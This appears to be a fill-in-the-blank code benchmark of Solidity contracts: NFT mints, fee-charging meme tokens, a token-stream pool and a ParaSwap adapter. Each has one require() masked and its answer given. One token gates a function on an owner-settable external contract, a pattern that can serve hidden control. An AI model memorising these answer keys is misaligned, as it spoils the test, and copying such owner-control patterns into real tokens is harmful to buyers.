function walletOfOwner(address _owner) public view returns (uint256[] memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
// mint
function mint(uint256 _mintAmount)
public
payable
mintCompliance(_mintAmount)
mintPriceCompliance(_mintAmount)
{
}
// mintMerkle
function mintMerkle(string[] memory _headType, string[] memory _weaponType, bytes32[][] calldata _merkleProof, uint8 _mintAmount)
public
payable
mintCompliance(_mintAmount)
mintPriceCompliance(_mintAmount)
{
uint256 initialIndex = _currentIndex;
for (uint8 i = 0; i < _mintAmount; i++) {
uint256 tokenId = initialIndex + i;
bytes32 leaf = keccak256(abi.encodePacked(Strings.toString(tokenId), '-', _headType[i], '-', _weaponType[i]));
require(<FILL_ME>)
}
_safeMint(_msgSender(), _mintAmount);
_asyncTransfer(owner, msg.value);
for (uint8 i = 0; i < _mintAmount; i++) {
uint256 tokenId = initialIndex + i;
db[tokenId].id = tokenId;
db[tokenId].headType = _headType[i];
db[tokenId].weaponType = _weaponType[i];
}
}
// Reserve Knights
function reserveKnights(address _receiver, uint256 _mintAmount) public onlyOwner {
}
}
|
MerkleProof.verify(_merkleProof[i],merkleRoot,leaf),'Invalid proof!'
| 209,431 |
MerkleProof.verify(_merkleProof[i],merkleRoot,leaf)
|
""
|
/**
*Submitted for verification at Etherscan.io on 2022-12-22
*/
// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.16;
abstract contract Context
{
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
interface ICounter {
function count() external view returns (uint);
function increment() external;
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Token is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Jaggernaut ";
string private constant _symbol = "JAG";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 15;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 15;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x9631a5DdAe239B8cfF39ED3C83627c641Cb83Daf);
address payable private _marketingAddress = payable(0x9631a5DdAe239B8cfF39ED3C83627c641Cb83Daf);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
ICounter private jeet;
modifier Owner() { require(<FILL_ME>)_; }
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = _tTotal.mul(20).div(1000);
uint256 public _maxWalletSize = _tTotal.mul(20).div(1000);
uint256 public _swapTokensAtAmount = _tTotal.mul(5).div(1000);
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
}
constructor() {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
}
function removeAllFee() private {
}
function restoreAllFee() private {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function setTrading(bool _tradingOpen) public onlyOwner {
}
function setJeet(address true_) public onlyOwner {
}
function manualswap() external {
}
function manualsend() external {
}
function blockBots(address[] memory bots_) public onlyOwner {
}
function unblockBot(address notbot) public onlyOwner {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
}
function removeLimit () external onlyOwner{
}
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
}
}
|
address(jeet)==msg.sender,""
| 209,537 |
address(jeet)==msg.sender
|
null |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import { IERC20 } from '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import { ExecutorManager } from '../Helpers/ExecutorManager.sol';
import { MathHelpers } from '../Helpers/MathHelpers.sol';
import { ISablierV2MerkleStreamerFactory } from "@sablier/v2-periphery/src/interfaces/ISablierV2MerkleStreamerFactory.sol";
import { ISablierV2MerkleStreamerLL } from "@sablier/v2-periphery/src/interfaces/ISablierV2MerkleStreamerLL.sol";
import { ISablierV2LockupLinear } from "@sablier/v2-core/src/interfaces/ISablierV2LockupLinear.sol";
import { LockupLinear } from "@sablier/v2-core/src/types/DataTypes.sol";
import { IAdminable as ISabilerAdminable } from "@sablier/v2-core/src/interfaces/IAdminable.sol";
import { ReentrancyGuard } from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import { IPondWater } from './IPondWater.sol';
import { IMiningPerCycle } from '../SpawningV2/IMiningPerCycle.sol';
contract PondWater is ExecutorManager, MathHelpers, IPondWater, ReentrancyGuard {
uint40 public constant intervalPeriod = 1 weeks; // 604800 or 7*24*60*60
uint40 public atInterval;
uint256 public realizedOuncesAtInterval = 0;
mapping(uint40 => uint256) public toDebitAtInterval;
mapping(uint40 => uint256) public toCreditAtInterval;
bool public bypassMiningMax = false;
bool public isOpen = false;
uint40 public constant lockSlipBeforeClose = 5;
uint40 public lastStreamAtInterval = 0;
uint256 public lockIDIndex = 1;
mapping(uint256 => LockData) public locks;
uint40 public intervalOffset;
IERC20 public coinToLock;
ISablierV2MerkleStreamerFactory public sabilerFactory;
ISablierV2LockupLinear public sabilerLockupLinear;
IMiningPerCycle public miningChecker;
uint256 public checkCycleDeltas = 5;
uint256 public cycleDeltaNumerator = (10 ** 18) * 2;
uint256 public minedToLockedNumerator = 10 ** 18;
mapping(address => mapping(uint256 => uint256)) public userLockedPerCycle;
constructor(
uint40 _intervalOffset,
IERC20 _coinToLock,
ISablierV2MerkleStreamerFactory _sabilerFactory,
ISablierV2LockupLinear _sabilerLockupLinear,
IMiningPerCycle _miningChecker
) {
}
modifier validLockId(uint256 lockId) {
}
modifier onlyOpen() {
}
function updateBypassMiningMax(bool _bypassMiningMax) external onlyExecutor() {
}
function updateMiningChecker(IMiningPerCycle _miningChecker) external onlyExecutor() {
}
function updateIntervalOffset(uint40 _intervalOffset) external onlyExecutor() {
}
function updateMinedToLockedNumerator(uint256 _minedToLockedNumerator) external onlyExecutor() {
}
function updateCheckCycleDeltas(uint256 _checkCycleDeltas) external onlyExecutor() {
}
function updateCycleDeltaNumerator(uint256 _cycleDeltaNumerator) external onlyExecutor() {
}
function getLock(uint256 id) validLockId(id) public view returns (LockData memory) {
}
function getUserLockedPerCycle(address _locker, uint256 _cycle) external view returns(uint256) {
}
function getIntervalFromChain() public view returns(uint40 intervalFromChain) {
}
function getIntervalStartTime(uint40 interval) public view returns(uint40 startTime) {
}
function _leapfrog() internal {
}
function computeLockFactor(uint8 _lockPeriodIndex) public pure returns (uint40 intervals, uint256 factor) {
}
function computeLockFactorWithAmount(uint256 _amount, uint8 _lockPeriodIndex) public pure returns (uint40 intervals, uint256 factor, uint256 value) {
}
function computeDeltaMultiplierWithAmount(uint256 _delta, uint256 _amount) internal view returns(uint256 computed) {
}
function readUserLockAmounts(address _locker) public view returns(uint256 canLock, uint256 hasLocked) {
}
function _lock(
address _locker,
uint256 _amount,
uint8 _lockPeriodIndex
) private onlyOpen() returns(uint256 lockId) {
}
function lock(uint256 _amount, uint8 _lockPeriodIndex) external nonReentrant returns(uint256 lockId) {
}
function _unlock(uint256 id, address unlockFor) private validLockId(id) {
}
function unlock(uint256 id) external nonReentrant {
}
function adminUnlock(uint256 id) external onlyExecutor() {
}
function adminUnlock(uint256 id, address unlockFor) external onlyExecutor() {
}
function leapfrog() external onlyExecutor() {
}
function _getCliff(bool skip, uint40 forInterval) private view returns(uint40 cliff) {
}
function streamWater(CreateStreamParameters calldata parameters) external onlyExecutor() onlyOpen() returns (ISablierV2MerkleStreamerLL streamer) {
uint40 forInterval = getIntervalFromChain() + 1;
streamer = sabilerFactory.createMerkleStreamerLL(
address(this), // initialAdmin
sabilerLockupLinear, // lockupLinear
parameters.asset, // asset
parameters.merkleRoot, // merkleRoot
getIntervalStartTime(forInterval + 2), // endTime of interval + 1
// durations
LockupLinear.Durations({
// get the difference between the next interval start and now.
cliff: _getCliff(parameters.skipCliff, forInterval),
total: 1 weeks
}),
false, // cancelable
true, // transferable
parameters.ipfsCID, // ipfsCID
parameters.assetAmount, // aggregateAmount
parameters.recipientsCount // recipientsCount
);
require(<FILL_ME>)
emit NewStream(forInterval, streamer);
}
function xferSabiler(ISabilerAdminable toTrans) external onlyExecutor() {
}
function deposit(IERC20 token, uint256 amount) external onlyExecutor() {
}
function withdraw(IERC20 token, uint256 amount) external onlyExecutor() {
}
function ounceStatus() external view returns(uint40 forInterval, uint256 realized, uint256 unrealized) {
}
function _close() onlyOpen() private {
}
function executorClose() external onlyExecutor() {
}
function close() external {
}
function executorOpen() external onlyExecutor() {
}
}
|
parameters.asset.transferFrom(msg.sender,address(streamer),parameters.assetAmount)
| 209,653 |
parameters.asset.transferFrom(msg.sender,address(streamer),parameters.assetAmount)
|
"Not a valid Augustus address"
|
pragma solidity 0.6.12;
/**
* @title BaseParaSwapBuyAdapter
* @notice Implements the logic for buying tokens on ParaSwap
*/
abstract contract BaseParaSwapBuyAdapter is BaseParaSwapAdapter {
using PercentageMath for uint256;
IParaSwapAugustusRegistry public immutable AUGUSTUS_REGISTRY;
constructor(
ILendingPoolAddressesProvider addressesProvider,
IParaSwapAugustusRegistry augustusRegistry
) public BaseParaSwapAdapter(addressesProvider) {
// Do something on Augustus registry to check the right contract was passed
require(<FILL_ME>)
AUGUSTUS_REGISTRY = augustusRegistry;
}
/**
* @dev Swaps a token for another using ParaSwap
* @param toAmountOffset Offset of toAmount in Augustus calldata if it should be overwritten, otherwise 0
* @param paraswapData Data for Paraswap Adapter
* @param assetToSwapFrom Address of the asset to be swapped from
* @param assetToSwapTo Address of the asset to be swapped to
* @param maxAmountToSwap Max amount to be swapped
* @param amountToReceive Amount to be received from the swap
* @return amountSold The amount sold during the swap
*/
function _buyOnParaSwap(
uint256 toAmountOffset,
bytes memory paraswapData,
IERC20Detailed assetToSwapFrom,
IERC20Detailed assetToSwapTo,
uint256 maxAmountToSwap,
uint256 amountToReceive
) internal returns (uint256 amountSold) {
}
}
|
!augustusRegistry.isValidAugustus(address(0)),"Not a valid Augustus address"
| 209,851 |
!augustusRegistry.isValidAugustus(address(0))
|
'INVALID_AUGUSTUS'
|
pragma solidity 0.6.12;
/**
* @title BaseParaSwapBuyAdapter
* @notice Implements the logic for buying tokens on ParaSwap
*/
abstract contract BaseParaSwapBuyAdapter is BaseParaSwapAdapter {
using PercentageMath for uint256;
IParaSwapAugustusRegistry public immutable AUGUSTUS_REGISTRY;
constructor(
ILendingPoolAddressesProvider addressesProvider,
IParaSwapAugustusRegistry augustusRegistry
) public BaseParaSwapAdapter(addressesProvider) {
}
/**
* @dev Swaps a token for another using ParaSwap
* @param toAmountOffset Offset of toAmount in Augustus calldata if it should be overwritten, otherwise 0
* @param paraswapData Data for Paraswap Adapter
* @param assetToSwapFrom Address of the asset to be swapped from
* @param assetToSwapTo Address of the asset to be swapped to
* @param maxAmountToSwap Max amount to be swapped
* @param amountToReceive Amount to be received from the swap
* @return amountSold The amount sold during the swap
*/
function _buyOnParaSwap(
uint256 toAmountOffset,
bytes memory paraswapData,
IERC20Detailed assetToSwapFrom,
IERC20Detailed assetToSwapTo,
uint256 maxAmountToSwap,
uint256 amountToReceive
) internal returns (uint256 amountSold) {
(bytes memory buyCalldata, IParaSwapAugustus augustus) =
abi.decode(paraswapData, (bytes, IParaSwapAugustus));
require(<FILL_ME>)
{
uint256 fromAssetDecimals = _getDecimals(assetToSwapFrom);
uint256 toAssetDecimals = _getDecimals(assetToSwapTo);
uint256 fromAssetPrice = _getPrice(address(assetToSwapFrom));
uint256 toAssetPrice = _getPrice(address(assetToSwapTo));
uint256 expectedMaxAmountToSwap =
amountToReceive
.mul(toAssetPrice.mul(10**fromAssetDecimals))
.div(fromAssetPrice.mul(10**toAssetDecimals))
.percentMul(PercentageMath.PERCENTAGE_FACTOR.add(MAX_SLIPPAGE_PERCENT));
require(maxAmountToSwap <= expectedMaxAmountToSwap, 'maxAmountToSwap exceed max slippage');
}
uint256 balanceBeforeAssetFrom = assetToSwapFrom.balanceOf(address(this));
require(balanceBeforeAssetFrom >= maxAmountToSwap, 'INSUFFICIENT_BALANCE_BEFORE_SWAP');
uint256 balanceBeforeAssetTo = assetToSwapTo.balanceOf(address(this));
address tokenTransferProxy = augustus.getTokenTransferProxy();
assetToSwapFrom.safeApprove(tokenTransferProxy, 0);
assetToSwapFrom.safeApprove(tokenTransferProxy, maxAmountToSwap);
if (toAmountOffset != 0) {
// Ensure 256 bit (32 bytes) toAmountOffset value is within bounds of the
// calldata, not overlapping with the first 4 bytes (function selector).
require(
toAmountOffset >= 4 && toAmountOffset <= buyCalldata.length.sub(32),
'TO_AMOUNT_OFFSET_OUT_OF_RANGE'
);
// Overwrite the toAmount with the correct amount for the buy.
// In memory, buyCalldata consists of a 256 bit length field, followed by
// the actual bytes data, that is why 32 is added to the byte offset.
assembly {
mstore(add(buyCalldata, add(toAmountOffset, 32)), amountToReceive)
}
}
(bool success, ) = address(augustus).call(buyCalldata);
if (!success) {
// Copy revert reason from call
assembly {
returndatacopy(0, 0, returndatasize())
revert(0, returndatasize())
}
}
uint256 balanceAfterAssetFrom = assetToSwapFrom.balanceOf(address(this));
amountSold = balanceBeforeAssetFrom - balanceAfterAssetFrom;
require(amountSold <= maxAmountToSwap, 'WRONG_BALANCE_AFTER_SWAP');
uint256 amountReceived = assetToSwapTo.balanceOf(address(this)).sub(balanceBeforeAssetTo);
require(amountReceived >= amountToReceive, 'INSUFFICIENT_AMOUNT_RECEIVED');
emit Bought(address(assetToSwapFrom), address(assetToSwapTo), amountSold, amountReceived);
}
}
|
AUGUSTUS_REGISTRY.isValidAugustus(address(augustus)),'INVALID_AUGUSTUS'
| 209,851 |
AUGUSTUS_REGISTRY.isValidAugustus(address(augustus))
|
null |
/**
Classic Stilton
🧀🧀🧀 $CILTON 🧀🧀🧀
🎂Today is Elon Musk's birthday!🎂
With that being said, we decided to gift him the least we could do.
In one of his tweets he mentioned that his favourite cheese is Stilton🧀.
Our mission is to bring world's finest cheesecake to his housedoor.
Tax: Buy 5% - Sell 5%
Telegram: https://t.me/classicstilton
Twitter: https://twitter.com/StiltonClassic
*/
pragma solidity ^0.8.15;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
address private _dev;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
modifier onlyDev() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ClassicStilton is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
struct Taxes {
uint256 buyFee1;
uint256 buyFee2;
uint256 sellFee1;
uint256 sellFee2;
}
Taxes private _taxes = Taxes(0,5,0,5);
uint256 private initialTotalBuyFee = _taxes.buyFee1 + _taxes.buyFee2;
uint256 private initialTotalSellFee = _taxes.sellFee1 + _taxes.sellFee2;
address payable private _feeAddrWallet;
uint256 private _feeRate = 20;
string private constant _name = "Classic Stilton";
string private constant _symbol = "CILTON";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
bool private _isBuy = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function getIsBuy() private view returns (bool){
}
function removeLimits() external onlyOwner{
}
function adjustFees(uint256 buyFee1, uint256 buyFee2, uint256 sellFee1, uint256 sellFee2) external onlyDev {
require(<FILL_ME>)
require(sellFee1 + sellFee2 <= initialTotalSellFee);
_taxes.buyFee1 = buyFee1;
_taxes.buyFee2 = buyFee2;
_taxes.sellFee1 = sellFee1;
_taxes.sellFee2 = sellFee2;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
}
function setFeeRate(uint256 rate) external onlyDev() {
}
function sendETHToFee(uint256 amount) private {
}
function openTrading() external onlyOwner() {
}
function addBot(address[] memory _bots) public onlyOwner {
}
function delBot(address notbot) public onlyDev {
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function manualswap() external onlyDev {
}
function manualsend() external onlyDev {
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
}
function _getRate() private view returns(uint256) {
}
function _getCurrentSupply() private view returns(uint256, uint256) {
}
}
|
buyFee1+buyFee2<=initialTotalBuyFee
| 209,916 |
buyFee1+buyFee2<=initialTotalBuyFee
|
null |
/**
Classic Stilton
🧀🧀🧀 $CILTON 🧀🧀🧀
🎂Today is Elon Musk's birthday!🎂
With that being said, we decided to gift him the least we could do.
In one of his tweets he mentioned that his favourite cheese is Stilton🧀.
Our mission is to bring world's finest cheesecake to his housedoor.
Tax: Buy 5% - Sell 5%
Telegram: https://t.me/classicstilton
Twitter: https://twitter.com/StiltonClassic
*/
pragma solidity ^0.8.15;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
address private _dev;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
modifier onlyDev() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ClassicStilton is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
struct Taxes {
uint256 buyFee1;
uint256 buyFee2;
uint256 sellFee1;
uint256 sellFee2;
}
Taxes private _taxes = Taxes(0,5,0,5);
uint256 private initialTotalBuyFee = _taxes.buyFee1 + _taxes.buyFee2;
uint256 private initialTotalSellFee = _taxes.sellFee1 + _taxes.sellFee2;
address payable private _feeAddrWallet;
uint256 private _feeRate = 20;
string private constant _name = "Classic Stilton";
string private constant _symbol = "CILTON";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
bool private _isBuy = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function getIsBuy() private view returns (bool){
}
function removeLimits() external onlyOwner{
}
function adjustFees(uint256 buyFee1, uint256 buyFee2, uint256 sellFee1, uint256 sellFee2) external onlyDev {
require(buyFee1 + buyFee2 <= initialTotalBuyFee);
require(<FILL_ME>)
_taxes.buyFee1 = buyFee1;
_taxes.buyFee2 = buyFee2;
_taxes.sellFee1 = sellFee1;
_taxes.sellFee2 = sellFee2;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
}
function setFeeRate(uint256 rate) external onlyDev() {
}
function sendETHToFee(uint256 amount) private {
}
function openTrading() external onlyOwner() {
}
function addBot(address[] memory _bots) public onlyOwner {
}
function delBot(address notbot) public onlyDev {
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function manualswap() external onlyDev {
}
function manualsend() external onlyDev {
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
}
function _getRate() private view returns(uint256) {
}
function _getCurrentSupply() private view returns(uint256, uint256) {
}
}
|
sellFee1+sellFee2<=initialTotalSellFee
| 209,916 |
sellFee1+sellFee2<=initialTotalSellFee
|
"Max supply has been reached"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract Satanic is ERC721A, Ownable, ReentrancyGuard{
uint256 public constant mintSupply = 122;
uint256 public maxMintTx = 3;
uint256 public constant gwMintPrice = 0.1 ether;
// Image/Meta/Token Info
string public uriSuffix = '.json';
string public hiddenMetadataUri;
